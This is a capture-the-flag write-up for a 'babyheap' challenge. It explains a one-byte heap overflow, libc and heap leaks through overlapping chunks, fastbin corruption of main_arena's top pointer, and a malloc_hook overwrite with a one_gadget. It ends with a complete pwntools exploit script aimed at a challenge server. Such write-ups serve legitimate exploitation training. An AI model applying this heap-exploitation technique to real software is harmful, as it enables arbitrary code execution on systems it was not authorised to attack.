Solved by sherl0ck
For this challenge, we were given a 64-bit stripped and dynamically linked binary. The given libc was version 2.24, that has some checks that its predecessors did not have. Let’s start by looking at the mitigation’s enforced on the binary –
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
So almost all mitigations are present, but we will eventually see that it is due to PIE that we will get this exploit working!
Reversing
It’s a standard CTF style binary with allocate, update, view and delete functionality. The program initially maps a memory segment at a random address, to store the table of pointer (table) to the chunks in the heap. This table is basically an array of objects of the following structure –
struct node{ int inUse; int size; char* ptr; }
We can allocate a chunk of any size less than 88. The chunks are allocated using calloc
so all existing data in the chunk is nulled out before use.
With the edit functionality, we can enter a size and the function reads in data to a chunk whose index is specified by the user.
The delete function free’s a chunk whose index is given by the user, and then null’s out the pointer to that chunk in the table of array object’s
When we view a chunk, all data in that chunk is written out to stdout using the write
function.
Vulnerability
In the update function, after taking size input from the user, the program checks if this is less than the saved size+1. Thus there is a clear one-byte overflow.
Memory Leaks
First, we will attempt to get a heap structure something like this-
chunk 1
—————–
chunk 2
—————–
chunk 3
—————–
chunk 4
—————–
top
Please note that for this exploit, I kept the sizes of all the chunks equal to one another.
Then use the one-byte overflow, while updating the data of chunk1, to edit the size of chunk 2. The new size should be a large one, larger than 0x80. Keep in mind that the 2 chunks following our fake chunk must have their prev_in_use bit set. For this exploit, I set the size of chunk 2 as the size(chunk2)+size(chunk3).
Now free chunk 2. It will appear to free() that chunk2 and chunk3 are a single large chunk and thus when freed, it is moved to the unsorted bin. Now allocate a size equal to the size of the old chunk2. This request will be satisfied from the unsorted bin and now the unsorted bin and chunk3 will overlap. Just view chunk3 to get the fd pointer of the unsorted bin, thus getting a successful libc leak.
After this let’s focus on getting the heap leak. We can use the scenario that we obtained above for this. Since the unsorted bin and chunk3 overlap, the next allocate request for a size equal to that of chunk3 will be done from the unsorted bin and thus we will have overlapping chunk’s. Let’s refer to the newly allocated chunk (with size=size(chunk3)) as chunk5. So chunk 5 and 3 are basically the same.
Now free a fastbin chunk, say chunk2 and then free chunk 5. So the freed chunk 5, will contain a pointer to the next chunk in the fastbin freelist, i.e chunk 2. But we already have a pointer to that in the table (chunk3 and chunk5 were same). So just view chunk3 to get a heap leak.
The Exploit
So the following were the possibilities that we had –
- House of Einherjar
- Fastbin corruption
- Unsorted bin attack
Since we have a one-byte overflow House of Einherjar is obvious. But because of PIE, House of Einherjar is impossible. Also, we can’t write anywhere other than the heap or stack. So this technique is ruled out here.
Using the overlapping chunks that we got for leaking heap, we have the option of fastbin corruption. Since we have two table entries pointing to the same chunk, we can free one and then use the other pointer to edit the fd, thus performing a fastbin corruption. But since we can’t allocate a chunk of size greater than 88, we can’t directly use fastbin corruption to land a chunk above malloc_hook.
My first thought was to use the unsorted bin attack to perform House of Orange. But the libc that was provided was version 2.24, and thus the vtable check in this version prevents us from doing a direct house of orange. I spent a lot of time trying to bypass the vatable check before I found a much simpler way to exploit this.
Here is a snippet from the structure of the main_arena, which is an object of malloc_state, as defined in malloc.c –
struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; . . . };
So we see that mchunkptr top
, which is the pointer to the top chunk, is directly below the fastbin freelist. Due to PIE, the heap address always starts with 0x55… or 0x56… Thus we can use this as size field for fastbin corruption target. Now if we allocate and free a fastbin chunk (of any size, other than 0x50) it will be placed in the fastbin freelist.
So now we can use the higher 2 bytes of this address as size field and use fastbin dup to get a chunk allocated here. With this new chunk, we will be able to control mchunkptr top
We can overwrite this to point to an address before malloc_hook. So now the new top chunk will be just before malloc_hook. So the next time we allocate a chunk, the request will be satisfied by the top chunk, which is above malloc_hook, and we will get write access into malloc_hook.
Now all that is left to do is to overwrite malloc_hook with one_gadget. I found that, when malloc_hook is called, the value at rsp+0x30 is null. Thus we can use this as the constraint and select the appropriate one_gadget.
So putting the exploit together –
- Use the one-byte overflow to get overlapping chunks of size 0x50 (as described in the memory leaks part)
- Allocate and free a chunk of any other size (say 0x60). This will place it in the fastbin list in the main_arena.
- Free the overlapping chunk using one pointer and then use the other pointer to update the data in the free chunk, overwritting the fd pointer to point to the address in libc with size field as the higher 2 bytes.
- Now allocate 2 chunks with size=0x50. The second chunk will be in the libc, in main_arena’s fastbin freelist.
- Update this chunk to overwrite the pointer to the top chunk to point to an address before malloc_hook.
- Allocate a chunk of any size. The chunk that is returned will contain malloc_hook, and we can edit it’s content to overwrite malloc_hook with one_gadget.
- Allocate a chunk of any size. This will trigger malloc_hook and the one_gadget will be called.
For some reason, the exploit only worked if the heap address started with 0x56. I am not sure why this was so. So I had to run the exploit many times till it worked. Anyway here is the exploit script –
from pwn import * import sys HOST='202.120.7.204' PORT=127 if len(sys.argv)>1: r=remote(HOST,PORT) else: r=process('./babyheap') libc=ELF("./libc.so.6") def menu(opt): r.sendlineafter("Command: ",str(opt)) def allocate(size): menu(1) r.sendlineafter("Size: ",str(size)) def update(idx,size,content,l=True): menu(2) r.sendlineafter("Index: ",str(idx)) r.sendlineafter("Size: ",str(size)) if l: r.sendlineafter("Content: ",content) else: r.sendafter("Content: ",content) def free(idx): menu(3) r.sendlineafter("Index: ",str(idx)) def view(idx): menu(4) r.sendlineafter("Index: ",str(idx)) mainarena=0 def leak(): allocate(72) #0 allocate(72) #1 allocate(72) #2 allocate(72) #3 update(0,73,"A"*72+"\xa1",l=False) free(1) allocate(72) #1 view(2) r.recvuntil("Chunk[2]: ") leak=u64(r.recv(8)) libc.address=leak-0x68-0x399af0 mainarena=leak-0x58 log.info("mainarena @ "+hex(mainarena)) log.info("libc @ "+hex(libc.address)) allocate(72) #4 free(1) free(2) view(4) r.recvuntil("Chunk[4]: ") heap=u64(r.recv(8))-0x50 log.info("heap @ "+hex(heap)) return heap,mainarena def exp(heap,mainarena): allocate(88) free(1) addr=mainarena+37 newtop=mainarena-0x28 one=libc.address+0x3f35a log.info("addr @ "+hex(addr)) log.info("newtop @ "+hex(newtop)) log.info("one @ "+hex(one)) update(4,9,p64(addr)) # corrupt fd of free fastbin allocate(72) # 1 allocate(72) # 2 update(2,44,"\x00"*11+"\x00"*24+p64(newtop)) # overwrite the top chunk pointer allocate(56) update(5,17,"w"*8+p64(one)) # overwrite malloc_hook with one gadget allocate(22) # trigger malloc_hook if __name__=='__main__': heap,mainarena=leak() exp(heap,mainarena) r.sendline("cat /home/babyheap/flag") r.interactive()
And on running it –
This was the only challenge that I was able to solve in this CTF and I found it really interesting. Hope you found the writeup useful!